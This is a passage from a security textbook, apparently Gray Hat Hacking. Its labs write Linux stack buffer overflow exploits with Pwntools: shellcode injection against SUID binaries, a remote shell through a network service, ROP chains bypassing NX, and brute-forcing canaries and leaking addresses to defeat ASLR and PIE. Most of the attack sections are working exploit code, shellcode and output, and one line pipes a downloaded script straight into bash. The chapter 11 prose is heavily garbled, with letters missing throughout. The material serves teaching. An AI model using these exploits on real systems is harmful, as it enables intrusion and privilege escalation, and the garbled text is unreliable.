1 1 ^ 1 F F
`1 @` /bin/sh$
# id
uid=0(root) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),
29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),133(scanner),
141(kaboxer)
Lab 10-4: Writing the Exploit with Pwntools
Let’s use the Pwntools framework to simplify the task of writing our exploit. Make sure
Pwntools is installed following the procedure described in Chapter 3.
Let’s run meet_exploit.py, which is found in your ~/GHHv6/ch10 folder:
$ python3 meet_exploit.py
[+] Starting local process './meet': pid 50153
Hello
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
210
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x901\xc01 \x17\x80\xeb^\x891\
xc0\x88F\x07F\x0c\x0b\xf3\x8d\x8dV\x0c\x801 \xd8@`\xe8\xdc\xff\xff\xff
$ id
uid=0(root) gid=1000(kali)
groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),
46(plugdev),109(netdev),119(bluetooth),133(scanner),141(kaboxer)
It worked!
Lab 10-5: Exploiting Small Buffers
What would happen if the vulnerable buffer is too small to use an exploit buffer as previ-
ously described? What if the vulnerable buffer you find is only 10 bytes long? Let’s look
at the following vulnerable code:
//smallbuff.c
#include <string.h>
int main(int argc, char * argv[]){
char buff[10]; //small buffer
strcpy(buff, argv[1]); //vulnerable function call
return 0;
}
Compile it and set the SUID bit:

$ gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack \
-o smallbuff smallbuff.c
$ sudo chown root:root smallbuff
$ sudo chmod u+s smallbuff
$ ls -l smallbuff
-rwsr-xr-x 1 root root 16488 Jun 30 18:52 smallbuff
Now that we have such a program, how would we exploit it? The answer lies in the
use of environment variables. You could store your shellcode in an environment variable
and then point EIP to that environment variable.
Let’s begin by setting an environment variable called SHELLCODE:
211
$ export SHELLCODE=`python -c 'print "\x90"*24 + "\x31\xc0\x31\xdb\xb0\x17\xcd
\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff
\xff/bin/sh"'`
Next, we need to get the address pointing to this environment variable. We could
use the gdb command x/20s *((char **)environ), but the offsets will be different in
this environment. Another option is to call libc.getenv from Python using ctypes, but
unfortunately Python 64-bit cannot load 32-bit libraries. Our fastest option is to write
a small C program that will call getenv(“SHELLCODE”):
//getenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
PART III
printf("0x%08x\n", (getenv("SHELLCODE") + strlen("SHELLCODE=")));
return 0;
}
Compile and run getenv.c:

$ gcc -m32 getenv.c -o getenv
$ ./getenv
0xffffdf99
Before writing our exploit, let’s open smallbuf with gdb and discover how many bytes
we need to write in order to overwrite EIP:
$ gdb -q ./smallbuff
Reading symbols from ./smallbuff...
(No debugging symbols found in ./smallbuff)
(gdb) r AAAAAAAAAAAAAAAAAABBBB
Starting program: /home/kali/GHHv6/ch10/smallbuff AAAAAAAAAAAAAAAAAABBBB

0x42424242 in ?? ()
Now that we know we need 18 bytes to overwrite EIP, let’s finish and execute our
exploit:
#smallbuf_exploit.py
from pwn import *
#Get SHELLCODE env

envp = process("./getenv")
shellcode_env = p32(int(envp.readline().strip(), 16))
envp.close()
payload = b"A"*18 + shellcode_env
p = process(["./smallbuff", payload])
p.interactive()
212
$ python3 smallbuff_exploit.py
[+] Starting local process './getenv': pid 231069
[*] Process './getenv' stopped with exit code 0 (pid 231069)
[+] Starting local process './smallbuff': pid 231071
$ id
uid=0(root) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),
27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),
133(scanner),141(kaboxer)
Exploit Development Process

Now that we have covered the basics, you are ready to look at a real-world example. In
the real world, vulnerabilities are not always as straightforward as the meet.c example.
The stack overflow exploit development process generally follows these steps:
1. Control the execution flow (EIP register) by identifying a vulnerability that results
in an overflow of a return address.
2. Determine the offset(s) and constrains (bad characters breaking the exploit such
as line feeds, carriage returns, and null bytes).
3. Determine the attack vector.
4. Debug and trace the program’s flow during the overflow.
5. Build the exploit.
6. Test the exploit.
Each vulnerability will have its own constrains and special situations depending on the
nature of the vulnerable program, the compile time flags, the behavior and root cause of
the vulnerable function, and how it transforms the input data causing the exploit.
Lab 10-6: Building Custom Exploits
In this lab, we’re going to look at a sample application you haven’t seen before. The
ch10_6 program we will exploit can be found in your ~/GHHv6/ch10 folder.
Controlling the EIP

The program ch10_6 is a network application. When we run it, it will listen on port 5555:
$ ./ch10_6 &
[1] 234535
$ netstat -ntlp|grep ch10_6
tcp 0 0 0.0.0.0:5555 0.0.0.0:* LISTEN 233737/./ch10_6
When testing applications, we can sometimes find weaknesses just by sending long
strings. In another window, let’s connect to the running binary with netcat:
213
$ nc localhost 5555
--------Login---------
Username: Test
Invalid Login!
Please Try again
Now, let’s use Python to create a very long string and send it as the username with our
netcat connection:
$ python -c 'print("A"*8096)' | nc localhost 5555
--------Login---------
Username: close failed in file object destructor:
sys.excepthook is missing
lost sys.stderr
Our binary behaves differently with a big string. To figure out why, we need to attach
gdb. We will run our vulnerable program in one window, using gdb, and send our
PART III
long string in another window. This program will fork a child process every time a new
connection is accepted. You must instruct gdb to follow the forked child process upon
connection in order to debug the exploit. You do this by running set follow-fork-mode
child in gdb’s interface.
Figure 10-2 shows what happens on the debugger screen when we send the long
string. Using a debugger in one window and our long string in another, we can see that
we have overwritten the saved frame and return address on stack memory, resulting in
control of the EIP and EBP registers upon returning from the vulnerable function.
We now have a classic buffer overflow and have overwritten the EIP. This completes
the first step of the exploit development process. Let’s move to the next step.
Determining the Offset(s)

With control of the EIP register, we need to find out exactly how many characters it
took to cleanly overwrite it (and nothing more). The easiest way to do this is with the
Pwntools cyclic pattern generator.
First, let’s create a Python script to connect to our listener:
#ch10_6_exploit.py
Figure 10-2 The debugger screen when we send the long string
214
from pwn import *
context(bits=32, arch='i386')
# Connect to vulnerable ch10_6 server

p = remote('localhost', 5555)
# Send A 1024 times

payload = "A"*1024
p.sendlineafter(b"Username: ", payload) # Send payload

p.interactive()
When we run our binary in gdb again and run the Python script in another window,
we should still experience our crash. If we do, the Python script is working correctly,
and a segmentation fault should have been caused by the EIP being set to an invalid
0x41414141 (AAAA) memory address. Next, we want to figure out exactly how many
characters it takes to overflow the buffer. Instead of achieving this by means of reading
disassembly code, we can overflow the program with a cyclic pattern: a unique sequence
of bytes within a string of a predefined length. The resulting value of the overwritten
EIP will correspond to four unique bytes within the cyclic pattern, which can be easily
located, providing the exact length we should pad our shellcode in order to reach the
saved return address’s offset in the stack.
We will use the Pwntools cyclic function to achieve this in our exploit:
#ch10_6_exploit.py
from pwn import *

# Send a 1024 bytes long cyclic pattern

payload = cyclic(1024) # Cyclic Pattern

p.interactive()
Now, when we run the exploit, we get a different overwrite in gdb:

(gdb) set follow-fork-mode child
(gdb) r
Starting program: /home/kali/GHHv6/ch10/ch10_6
[Attaching after process 245725 fork to child process 245772]
[New inferior 2 (process 245772)]
[Detaching after fork from parent process 245725]
[Inferior 1 (process 245725) detached]
Thread 2.1 "ch10_6" received signal SIGSEGV, Segmentation fault.

[Switching to process 245772]
0x63616171 in ?? ()
Here, we see EIP has been set to 0x63616171, corresponding to the “caaq” sequence
from our cyclic pattern. If you follow the Pwntools installation instruction described
215
in Chapter 2 and execute sudo pip3 install pwntools, you will install the Pwntools
command-line utilities. We can use the Pwntools cyclic command-line tool to find the
offset corresponding to 0x63616171:
$ cyclic -l 0x63616171
264
If you don’t want to install the Pwntools command-line utilities, an alternative is to

launch the Python3 console, import Pwntools, and use the cyclic_find function:
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
>>> from pwn import *
>>> cyclic_find(0x63616171)
264
PART III
We now know that the exact offset is 264 bytes before the EIP will be overwritten. This
gives us the initial padding length we need before sending our EIP overwrite location.
Determining the Attack Vector

Once we know where the EIP is overwritten, we must determine what address on the
stack we need to point to in order to execute the payload. To do this, we modify our
code to add in a NOP sled. This gives us a bigger area to jump to so that if something
minor occurs and our location changes a bit, we will still land somewhere within our
NOP instructions. By adding in 32 NOPs, we should overwrite the ESP and have some
additional flexibility for addresses to jump to. Remember, any address with “\x00” in it
won’t work because that is treated as string termination.
#ch10_6_exploit.py
from pwn import *

shellcode = b"<SHELLCODE>"
nopsled_address = b"BBBB"
# Craft our payload

payload = b"A"*264
payload += nopsled_address
payload += b"\x90"*32
payload += shellcode

p.interactive()
216
Once we restart gdb and run our new exploit code, we should see that the EIP is over-
written with 0x42424242 (BBBB). With the new changes, we should be able to check
our stack to see where the NOP sled is:
$ gdb -q ./ch10_6
Reading symbols from ./ch10_6...
(No debugging symbols found in ./ch10_6)
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /home/kali/GHHv6/ch10/ch10_6
[Attaching after process 252531 fork to child process 252581]
[New inferior 2 (process 252581)]
[Detaching after fork from parent process 252531]
[Inferior 1 (process 252531) detached]
Thread 2.1 "ch10_6" received signal SIGSEGV, Segmentation fault.

[Switching to process 252581]
❶ 0x42424242 in ?? ()
(gdb) x/12xw $esp
0xffffd3f8: 0x90909090 0x90909090 0x90909090 0x90909090
❷ 0xffffd408: 0x90909090 0x90909090 0x90909090 0x90909090
❸0xffffd418: 0x4c454853 0x444f434c 0xf7fe0a45 0x00000010
We can see that the EIP was overwritten at ❶. At 0xffffd408 ❷, the values are filled
with our NOP instructions. If we jump into the middle of our NOP sled at 0xffffd418 ❸,
it should lead us directly into our shellcode.
Building the Exploit

A seasoned researcher can easily write their own exploit shellcodes from scratch; however,
we will simply take advantage of the Pwntools shellcraft package. One of the many use-
ful shellcodes it features is the findpeersh function. This will find our current socket
connection’s file descriptor and run the dup2 system call on it to redirect standard input
and output before running a shell:
#ch10_6_exploit.py
from pwn import *

# findpeersh ( dup2(socket) + execve(/bin/sh) ) shellcode

shellcode = asm(shellcraft.findpeersh())
nopsled_address = p32(0xffffd418)
# Craft our payload

payload = b"A"*264
payload += nopsled_address
payload += b"\x90"*32
payload += shellcode

p.interactive()
217
Let’s restart gdb and then run our exploit; we should get back our shell:
$ python3 ch10_6_exploit.py
[+] Opening connection to localhost on port 5555: Done
$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(su
do),
29(audio),30(dip),44(video),46(plugdev),109(netdev),119(bluetooth),133(scann
er),
141(kaboxer)
It worked! After running the exploit, we got back a shell on our own connection.
We can now execute commands in our interactive shell.
PART III
Summary
While exploring the basics of Linux exploits, we have investigated several ways to suc-
cessfully overflow a buffer to gain elevated privileges or remote access. By filling up
more space than a buffer has allocated, we can overwrite the Extended Stack Pointer
(ESP), Extended Base Pointer (EBP), and Extended Instruction Pointer (EIP) to control
elements of code execution. By causing execution to be redirected into shellcode that
we provide, we can hijack execution of these binaries to get additional access. Make sure
you practice and understand the concepts explained in this chapter. In the next chapter,
covering advanced Linux exploits, we will be focusing on more advanced and modern
64-bit Linux exploitation concepts.
For Further Reading

“Smashing the Stack for Fun and Profit” (Aleph One, aka Aleph1) www.phrack
.com/issues.html?issue=49&id=14#article
Buffer overflow en.wikipedia.org/wiki/Buffer_overflow
Hacking: The Art of Exploitation, Second Edition (Jon Erickson) No Starch Press,
2008
Intel x86 Function-Call Conventions – Assembly View (Steve Friedl) www.unixwiz
.net/techtips/win32-callconv-asm.html
“Linux permissions: SUID, SGID, and sticky bit” (Tyler Carrigan) www.redhat
.com/sysadmin/suid-sgid-sticky-bit
Advanced Linux Exploits
CHAPTER
11
• Bypassing non-executable stack (NX) with return-oriented programming (ROP)
• Defeating stack canaries
• Address space layout randomization (ASLR) bypass with an information leak
• Position Independent Executable (PIE) bypass with an information leak
Now ha you have he basis unde you be fom eading Chape 10, you ae eady
o sudy moe advaned Linux expois. The fied is advaning onsany, wih new
ehniques aways being disoveed by hakes and ounemeasues being impemened
by deveopes. No mae how you appoah he pobem, you need o move beyond he
basis. Tha said, we an ony go so fa in his book—you jouney is ony beginning.
The “Fo Fuhe Reading” seion a he end of his hape wi give you moe desina-
ions o expoe.
Lab 11-1: Vulnerable Program and Environment Setup
Fis, e’s anayze he vuneabe pogam we wi be using houghou his hape. The
vun. pogam is povided o you in you ~/GHHv6/h11 fode, and in eah ab we wi
eompie i enabing diffeen expoi miigaion ehniques. The vuneabe pogam
is a simpe muiheaded TCP seve ha equess he use o ene a passwod wih a
saighfowad sak ovefow vuneabiiy on he auth funion.
Le’s begin by ompiing he vun. pogam ony wih non-exeuabe sak
(NX) poeion:
$ gcc -no-pie vuln.c -o vuln
$ checksec --file=./vuln
[*] '/home/kali/GHHv6/ch11/vuln'
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
219
220
To es ha he sevie is up, e’s un i in he bakgound and use nea o onne
o i:
$ ./vuln &
[1] 68430
Listening on 127.0.0.1:4446
$ nc localhost 4446
User Access Verification
Password: test
Invalid Password!
$ killall -9 vuln
[1] + killed ./vuln
We wi disabe addess spae ayou andomizaion (ASLR) o fous on he NX bypass
and hen e-enabe i in Lab 11-4:
Setting Up GDB
We wi be using he GEF pug-in. You an foow he insaaion seps desibed on is
GiHub page:1
$ bash -c “$(curl -fsSL http://gef.blah.cat/sh)“
One his is done, open gdb o onfim ha he GEF sip is downoaded and added
o you ~/.gdbini:
$ gdb -q
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
gef➤
Sine he vuneabe pogam is muiheaded, we need o e gdb o debug he hid
poess afe he fok when a new TCP ien is onneed by using he ommand set
follow-fork-mode child,2 as shown nex:
$ gdb ./vuln -q -ex “set follow-fork-mode child“ -ex “r“
GEF for linux ready, type `gef' to start, `gef config' to configure
96 commands loaded for GDB 10.1.90.20210103-git using Python engine 3.9
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
Starting program: /home/kali/GHHv6/ch11/vuln
Overwriting RIP
In Chape 10 we foused on expoiing 32-bi binaies, bu in his hape we fous
on 64-bi binay expoiaion. The fis diffeene you may noie is ha egise names
begin wih R. To expoi he buffe ovefow vuneabiiy, we need o ovewie RIP.
Chapter 11: Advanced Linux Exploits
221
Whie unning gdb, open a new window and onne o he vuneabe TCP seve
and send 200 byes using he Pwnoos yi paen ommand:
$ cyclic -c amd64 200|nc localhost 4446
NOTE If the cyclic command is not found, make sure to install Pwntools
with sudo following the installation guide.3
On he window unning gdb, you shoud see a segmenaion vioaion. Le’s use
GEF’s bui-in paen seah ommand o see how many byes need o be wien befoe
ovewiing RIP:
PART III
[#0] Id 1, Name: “vuln”, stopped 0x4012f7 in auth (), reason: SIGSEGV
───────────────────────────────────────────────── trace ────
[#0] 0x4012f7 → auth()
───────────────────────────────────────────────────────────
gef➤ pattern search $rsp
[+] Searching for '$rsp'
[+] Found at offset 120 (little-endian search) likely
gef➤
NOTE Once you crash the program, remember to run killall -9 vuln after
you exit gdb and then relaunch gdb with the same parameters.
Le’s begin wiing ou expoi wih he knowedge we have so fa:
from pwn import *
context(os='linux', arch='amd64')
r = remote(“127.0.0.1”, 4446, level='error')

payload = b”A”*120
payload += b”BBBB”
r.sendafter(“Password: “, payload)
Save and un he Pyhon sip, and on you gdb window you shoud be abe o ove-
wie RIP wih fou Bs:
[!] Cannot access memory at address 0x42424242
─────────────────────────────────────────────── threads ────
[#0] Id 1, Name: “vuln”, stopped 0x42424242 in ?? (), reason: SIGSEGV
gef➤
222
Lab 11-2: Bypassing Non-Executable Stack (NX)

with Return-Oriented Programming (ROP)
The GNU ompie gcc impemened non-exeuabe sak poeion saing in

vesion 4.1 o peven ode fom unning on he sak. This feaue is enabed by
defau and may be disabed wih he –z execstack fag, as shown hee:
$ gcc vuln.c -o vuln_nx|readelf -l vuln_nx|grep -A1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RW 0x10
$ gcc -z execstack vuln.c -o vuln_nx && readelf -l vuln_nx|grep -A1 GNU_STACK

GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
Noie ha in he fis ommand, he RW fags ae se in he Exeuabe and Link-
abe Foma (ELF) makings, and in he seond ommand (wih he –z execstack fag),
he RWE fags ae se in he ELF makings. The fags sand fo ead (R), wie (W), and
exeue (E).
Wih NX enabed, he expoi wih a sheode used in Chape 10 woudn’ wok.
Howeve, we an use muipe ehniques o bypass his poeion. In his ase, we wi
bypass NX wih eun-oiened pogamming (ROP).
ROP is he suesso o he eun-o-ib ehnique. I is based on onoing he
fow of he pogam by exeuing fagmens of ode found in memoy known as gadgets.
Gadges usuay end in he RET insuion, bu in some siuaions, gadges ending in
JMP o CALL migh aso be usefu.
In ode o suessfuy expoi he vuneabe pogam, we wi need o ovewie
RIP wih he addess of he gib’s system() funion and pass /bin/sh as an agumen.
Passing agumens o funions in 64-bi binaies is diffeen han in 32-bi mode,
whee if you ono he sak, you aso ono funion as and agumens. In 64-bi
binaies, agumens ae passed in egises in he ode RDI, RSI, RDX, RCX, R8, R9,
whee RDI is he fis agumen, RSI he seond, and so on.
Insead of manuay seahing fo gadges, e’s finish wiing ou expoi wih he hep
of Pwnoos o simpify he poess of finding he needed gadges and buiding ou ROP
hain.
Run gdb and hen beak using ctrl-c:
$ gdb ./vuln -q -ex “set follow-fork-mode child” -ex “r”
...
^C
Program received signal SIGINT, Interrupt.
[#1] 0x401497 → main()
────────────────────────────────────────────────
gef➤
223
Le’s dispay he ib base addesses and oninue exeuion:
gef➤ vmmap libc
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00007ffff7def000 0x00007ffff7e14000 0x0000000000000000 r-- .../libc-2.31.so
...
gef➤ c
Continuing.
Le’s make he foowing hanges o ou expoi:

1. Load ib using he base addess we go fom he vmmap libc oupu
(0x00007ffff7def000).
2. Use he Pwnoos ROP oo o buid ou system(“/bin/sh“) ROP hain:
from pwn import *
PART III
libc = ELF(“/lib/x86_64-linux-gnu/libc.so.6”)
libc.address = 0x00007ffff7def000
rop = ROP(libc)
rop.system(next(libc.search(b”/bin/sh”)))
log.info(f”ROP Chain:\n{rop.dump()}”)
payload += bytes(rop)
r.interactive()
Now un he vuneabe pogam wihou gdb:

$ ./vuln
Run you expoi in a new window:

$ python3 exploit1.py
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Loaded 190 cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] ROP Chain:
0x0000: 0x7ffff7e15796 pop rdi; ret
0x0008: 0x7ffff7f79152 [arg0] rdi = 140737353584978
0x0010: 0x7ffff7e37e50 system
$ id
$
224
Wai a minue! We have a she, bu we an’ ono i! I’s no possibe o exeue
ommands fom ou expoi window, bu we an exeue ommands on he window
unning he vuneabe seve:
$ ./vuln
$ id
This is happening beause he she is ineaing wih he fie desipos 0, 1,
and 2 fo sandad inpu (STDIN), sandad oupu (STDOUT), and sandad eo
(STDERR), bu he socket is using fie desipo 3 and accept is using fie desipo 4.
To sove his, we wi modify ou ROP hain o a he dup2() funion befoe aing
system(“/bin/sh”), as shown nex. This wi dupiae he fie desipo of accept o
STDIN, STDOUT, and STDERR.
from pwn import *
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
r.interactive()
Le’s un ou expoi again and see if i woks:

...
[*] ROP Chain:
0x0000: 0x7ffff7e1790f pop rsi; ret
0x0008: 0x0 [arg1] rsi = 0
0x0018: 0x4 [arg0] rdi = 4
0x0020: 0x7ffff7ede770 dup2
0x0030: 0x1 [arg1] rsi = 1
0x0040: 0x4 [arg0] rdi = 4
225
0x0058: 0x2 [arg1] rsi = 2
0x0068: 0x4 [arg0] rdi = 4
0x0080: 0x7ffff7f79152 [arg0] rdi = 140737353584978
0x0088: 0x7ffff7e37e50 system
$ id
I woked! We wee abe o bypass he NX sak poeion by using a simpe ROP
hain. I’s woh menioning ha hee ae ohe ways o bypass NX; fo insane, you
oud a mprotect o disabe NX on he memoy oaion you ono, o you oud use
he sigreturn sysa o push a new onoed onex wih NX disabed.
PART III
Lab 11-3: Defeating Stack Canaries
SakGuad is based on a sysem of paing “anaies” beween he sak buffes and he
fame sae daa. If a buffe ovefow aemps o ovewie RIP, he anay wi be dam-
aged and a vioaion wi be deeed.
The foowing iusaion shows a simpified ayou of how he anay is paed befoe
he saved fame poine (SFP) and RIP. Remembe ha SFP is used o esoe he base
poine (RBP) o he aing funion’s sak fame.
Buffer Canary SFP RIP
Compie vun. o enabe he sak anay poeion:

$ gcc -no-pie -fstack-protector vuln.c -o vuln
Now, we an un he expoi we have wien so fa and see he sak anay poeion
in aion, bu fis e’s make a opy of ou expoi:
$ cp exploit1.py exploit2.py
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
...
$
As expeed, he expoi faied beause he hid poess ashed wih he eo “sak
smashing deeed ***: eminaed,” as shown hee:
$ ./vuln
*** stack smashing detected ***: terminated
226
To bypass his poeion, we need o eak o bue-foe he anay in ode o epai
i. Beause he anay is defined when he pogam is oaded and he TCP seve is
muiheaded, evey hid poess wi keep he same anay as is paen poess. We wi
ake advanage of his behavio o bue-foe he anay.
The bue-foe saegy is as foows:
1. Idenify how many byes need o be wien befoe smashing he anay. The
anay is paed befoe SFP and RIP.
2. Ieae fom 0 o 255, ooking fo he nex vaid bye. If he bye is invaid, we
wi beak he anay and he hid wi be eminaed. If he bye is vaid, he
TCP seve wi eun “Invaid Passwod.”
Le’s fis open he pogam wih gdb and se a beakpoin befoe he anay is heked:
$ gdb ./vuln -q -ex “set follow-fork-mode child”
gef➤ disas auth
Dump of assembler code for function auth:
0x0000000000401262 <+0>: push rbp
0x0000000000401263 <+1>: mov rbp,rsp
0x0000000000401266 <+4>: sub rsp,0x90
0x000000000040126d <+11>: mov DWORD PTR [rbp-0x84],edi
0x0000000000401273 <+17>: mov rax,QWORD PTR fs:0x28
0x000000000040127c <+26>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401280 <+30>: xor eax,eax
...
0x0000000000401321 <+191>: mov rsi,QWORD PTR [rbp-0x8]
0x0000000000401325 <+195>: sub rsi,QWORD PTR fs:0x28
0x000000000040132e <+204>: je 0x401335 <auth+211>
0x0000000000401330 <+206>: call 0x401080 <__stack_chk_fail@plt>
0x0000000000401335 <+211>: leave
0x0000000000401336 <+212>: ret
gef➤ b *auth+195
Breakpoint 1 at 0x401325
gef➤ r
Starting program: /home/kali/GHHv6/ch11/vuln
Le’s send he yi paen fom anohe window:

$ cyclic -c amd64 200|nc localhost 4446
User Access Verification
Password:
Now go bak o you gdb window. You an see ha RSI is hoding he 8 byes ha
smashed he anay. Le’s use he paen seah ommand o find ou how many byes
we need o wie befoe ovewiing he anay:
gef➤ pattern search $rsi
[+] Searching for '$rsi'
227
Le’s modify ou expoi:
from pwn import *
# Lab 11-3: Defeating Stack Canaries

# gcc -no-pie -fstack-protector vuln.c -o vuln
❶def exploit(payload, interactive=False):

try:
❷ if r.recvrepeat(0.1)[:7] == b”Invalid”:
return True
except EOFError:
❸ return False
PART III
finally:
if interactive:
r.interactive()
else:
r.close()
❹def leak_bytes(payload, name):

leaked_bytes = []
progress = log.progress(name, level=logging.WARN)
❺ for _ in range(8):
❻ for i in range(256):
❼ if exploit(payload + p8(i)):
❽ payload += p8(i)
❾ leaked_bytes.insert(0, hex(i))
progress.status(repr(leaked_bytes))
break
progress.success(repr(leaked_bytes))
log.info(f”Leaked {name} = {hex(u64(payload[-8:]))}”)

❿ return payload[-8:]
rop = ROP(libc)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.dup2(4, 2)
11 payload
● = b”A”*72
payload += leak_bytes(payload, “Canary”)
payload += p64(0xBADC0FFEE0DDF00D) #SFP
12 exploit(payload, True)
●
Le’s eview he hanges we made o ou expoi. A ❶, we wie an exploit fun-
ion ha akes wo agumens: he payoad o be sen and whehe o no we need o
aivae he ineaive mode. This funion wi onne, send he payoad, and eun
228
True if he TCP seve euns “Invaid” ❷. This means ha he uen anay is vaid;
ohewise, i euns False ❸ o oninue he ieaion.
A ❹, we wie a leak_bytes funion ha akes wo agumens: he payoad pefix
and he name of he byes we ae eaking. I wi ieae eigh imes (o eak 8 byes) ❺,
fom 0 hough 255 ❻, sending payload + current_byte ❼. If exploit euns True, we
add his bye o he uen payoad ❽ and hen inse i ino a leaked_bytes aay ❾.
One i’s done ❿, i wi eun he leaked_bytes aay.
11 , we eae he new payoad wih 72 As + he eaked anay + 8 byes of padding +
A ●
ou pevious ROP hain. Finay, a ●12 , we a he exploit funion wih he fina payoad
and speify ha he ineaive mode shoud be enabed.
Le’s un he vuneabe pogam in one window and ou expoi2.py in anohe window:
...
[+] Canary: ['0x76', '0x8e', '0x10', '0xaf', '0x1c', '0xc1', '0xee', '0x0']
[*] Leaked Canary = 0x768e10af1cc1ee00
$ id
We go i! We wee abe o epai he anay by bue-foing i. Now ou expoi is
abe o bypass wo expoi miigaion ehniques: NX and sak anay. Nex, we wi
enabe and bypass ASLR.
Lab 11-4: ASLR Bypass with an Information Leak
Addess spae ayou andomizaion (ASLR) is a memoy poeion ono ha an-
domizes he memoy oaions of he ode segmen, sak segmen, heap segmens, and
shaed objes as we as andomizes mmap() mappings. In ou expoi, we wee using a
fixed ib base addess, bu ha won’ wok anymoe beause we won’ be abe o find he
addess of he dup2, sysem, and /bin/sh.
Fis, e’s enabe ASLR and opy expoi2.py o expoi3.py:
We an defea ASLR by eaing a wo-sage expoi.
Stage 1
In sage 1 of he expoi, we wi do he foowing:
1. Leak he sak anay.

2. Buid a ROP hain ha as he write PLT funion wih wo agumens:
• The fis agumen is he numbe 4 (he accept fie desipo) o ead he
oupu fom ou ien. Remembe ha a his sage we an’ use he dup2
beause we don’ know is addess ye.
• The seond agumen is he addess of write GOT.
229
Wha ae PLT and GOT? The Poedue Linkage Tabe (PLT) is a ead-ony seion
of an ELF fie podued a ompie ime, whee a symbos ha need a esouion ae
soed. I is mainy esponsibe fo aing he dynami inke a unime o esove he
addesses of he equesed funions (azy inking). The Goba Offse Tabe (GOT) is
popuaed wih he addesses o he ib funions by he dynami inke a unime.
Fo exampe, when we buid he vun. pogam, he write funion ges ompied as
write@plt, and when he pogam as write@plt, i akes he foowing aions:
1. I ooks fo a GOT eny fo he addess of write.
2. If he eny is no hee, i oodinaes wih he dynami inke o ge he
funion addess and soe i in he GOT.
3. I esoves and jumps o he addess soed a write@got.
PART III
In sho, we wi a write@plt o pin he write@got addess. By eaking his ib
addess, we an auae he ib base by subaing <leaked address> fom <address
of the write symbol>, as shown hee:
$ readelf -a /lib/x86_64-linux-gnu/libc.so.6|grep __write
178: 00000000000eef20 157 FUNC WEAK DEFAULT 14 __write@@GLIBC_2.2.5
Stage 2
In sage 2, we wi euse he same ROP hain fom ou pevious expoi2.py. You an find
he fu soue of ou expoi3.py fie in you ~/GHHv6/h11 fode. Hee ae he mos
eevan hanges o he fie:
...
elf = ELF(“./vuln”)
payload += p64(0xBADC0FEE0DDF00D) #SFP
s1_rop = ROP(elf)
❶s1_rop.write(4, elf.got.write)
log.info(f”Stage 1 ROP Chain:\n{s1_rop.dump()}”)
leaked_write = exploit(payload + bytes(s1_rop), leak=True)
❷libc.address = leaked_write - libc.sym.write

log.info(f”libc_base == {hex(libc.address)}”)
s2_rop = ROP(libc)
s2_rop.dup2(4, 0)
s2_rop.dup2(4, 1)
s2_rop.dup2(4, 2)
s2_rop.system(next(libc.search(b”/bin/sh”)))
log.info(f”Stage 2 ROP Chain:\n{s2_rop.dump()}”)
exploit(payload + bytes(s2_rop), interactive=True)

230
A ❶, we use he Pwnoos ROP oo o simpify buiding ou ROP hain o a
write(4, write@got). A ❷, one he funion exploit() euns wih ou eaked write@
got, we auae he ib base and oninue buiding/exeuing ou seond sage payoad:
...
[*] libc_base == 0x7fdccf472000
...
$ id
Lab 11-5: PIE Bypass with an Information Leak
Posiion Independen Exeuabe (PIE) heps defea ROP aaks by andomizing he
oaion of memoy mappings wih eah un of he pogam. Evey ime you un he
vuneabe pogam, i wi be oaded ino a diffeen memoy addess.
In ou pevious ab, we enabed ASLR, bu sine PIE was disabed, i was vey easy o
buid ou ROP hain o eak ib beause he pogam was aways oaded ino he same
memoy addess.
Le’s enabe PIE and opy ou expoi3.py o expoi4.py:
$ gcc -fstack-protector vuln.c -o vuln
If you y unning expoi3.py, i wi fai beause he expoi doesn’ know he pogam’s
base addess. We oud bypass his poeion if we find an info eak ha heps us auae
he pogam’s base addess. Theefoe, we wi use he foowing saegy:
1. Use he leak_bytes funion o ge he addesses of anay, SFP, and RIP.
We ae ineesed in eaking RIP beause afe auth, i euns o he pogam’s
main funion.
2. Cauae he pogam’s base addess by subaing <leaked RIP> fom <distance
to program base>.
3. Assign he esu o elf.address.
You an find he fu soue of ou expoi4.py fie in you ~/GHHv6/h11 fode.
Hee ae he mos eevan hanges o he fie:
...
elf = ELF(“./vuln”)
❶payload += leak_bytes(payload, “SFP”)
❷leaked_rip = u64(p8(0x6d) + leak_bytes(payload, “RIP”)[1:])

log.info(f”leaked_rip == {hex(leaked_rip)}”)
❸elf.address = leaked_rip - 0x156d

231
s1_rop = ROP(elf)
s1_rop.write(4, elf.got.write)
...
A ❶, we eak SFP afe he anay; we need i o be pa of ou payoad o oninue
eaking RIP. In ode o make hings moe pediabe, sine we know ASLR won’ hange
